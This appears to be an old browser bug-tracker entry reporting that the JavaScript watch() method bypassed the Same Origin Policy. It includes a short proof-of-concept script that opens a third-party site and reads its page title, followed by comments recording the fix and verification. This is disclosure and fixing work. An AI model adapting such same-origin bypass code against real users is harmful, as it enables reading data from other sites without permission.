The watch() method allows circumventing Same Origin security policy. The code is: ----------------------------------------------------------------------- <SCRIPT> a=window.open("http://www.yahoo.com","victim"); function f() { a.document.watch("title",function (id,oldval,newval) {alert('The page title is: '+oldval);}) } setTimeout("f();a.document.title='title';",10000); </SCRIPT> -----------------------------------------------------------------------

Fixed; added a new callback from the generated DOM code.

Putting on PDT+ radar for beta1.

Verified fixed.

Bulk moving all Browser Security bugs to new Security: General component. The previous Security component for Browser will be deleted.